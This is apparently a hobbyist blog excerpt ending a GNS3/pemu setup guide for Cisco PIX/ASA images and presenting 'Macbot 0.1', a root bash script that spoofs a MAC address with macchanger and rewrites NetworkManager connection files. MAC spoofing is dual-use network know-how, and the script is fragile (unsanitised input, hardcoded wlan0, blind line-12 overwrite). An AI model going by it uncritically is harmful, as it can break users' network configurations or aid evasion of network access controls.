cd /pemu_2008-03-03_bin

Then you need to copy all the files included to the following directory:

cp * /usr/share/gns3

Yet to get qemu/pemu running on the x64 architecture you need to install certain 32bit libraries.

sudo apt-get install ia32-libs

After you’ve done all this you will be able to run PIX and ASM (and possibly Juniper) images in GNS3.

To make it all work you’ll need some IOS/PIX images. Google is your friend.

In the next post I am going to show you how to setup a basic DMZ network for pentesting purposes.

Macbot 0.1 – An interactive commandline script for macchanger.

Ever got angry when Network Manager didn’t use the new MAC address you just assigned to interface wlan0? Macbot 0.1 is the solution to your problems.

Just finished this little script that makes changing your MAC address easier. It runs under root in any Debian environment and needs macchanger and bash installed.

1. It will just query you for the interface you want to change.

2. It will shut down network-manager

3. It will change your maccaddres via (macchanger -A option).

4. It will rename your WLAN networks in /etc/NetworkManager/system-connections/ , changing ‘space’ to ‘_’

5. It will let you select the WLAN with which you want to use the spoofed MAC address

6. It will change the file accodingly and display back what your new MAC address is, then quits.

If you got improvements, corrections or any other comments, let me know.

Code:

#!/bin/bash
# This is the macbot.sh script. An easy script to interactively run 
# macchanger on debian distributions employing network-manager.
# Needs to be run as root.
# Thanks to Hai @ http://wuhrr.wordpress.com for the bit with select 
# and http://chris.com/ascii/index.php?art=television/futurama for the 
# ascii_art.
#
# Author: Manuel Weber (mmweber@gmx.net)


#    This is the main screen.
#    It awaits the user to select the interface to be changed.
#    Sanitizing input has yet to be implemented.

echo
echo
echo "        ###    The MAC Bot 0.1        ###"
echo
echo
echo
echo "               T        "
echo '             .-"-.        '
echo "            |  ___|        "
echo "            | (.\/.)    "
echo "            |  ,,,'     "
echo "            | '###        "
echo "             '----'        "




echo
echo
echo 'Enter the interface you want to change (eg. wlan0): '
echo


read int 
echo

ifconfig $int down
service network-manager stop
macchanger -A $int
echo
echo

mac=`ip link show $int | awk '/ether/ {print $2}'`


# This part asks the user which Network has to be configured.
# 
#

echo 'List of available, already used WLANs: '
echo
echo




# Changes to network directory
cd /etc/NetworkManager/system-connections/



# Change network names to be withouth space characters
rename "s/ /_/g" *



# Set the prompt for the select command
PS3="Type a number or 'q' to quit: "



# Create a list of files to display
fileList=$(find . -maxdepth 1 -type f)




# Show a menu and ask for input, then add line 12 to selected file

select fileName in $fileList; do
    if [ -n "$fileName" ]; then
        sed -i "12s/.*/cloned-mac-address=$mac/" ${fileName}
    fi
    break
done



ifconfig wlan0 up
service network-manager start

echo
echo
echo
echo "Changed MAC address of INT-x to: $mac"
echo
echo
echo

# Functionality to add to script:
# 1. Display network interfaces to choose from
# 2. Display macchangermodes, a)Custom b) Another c)random
# 3.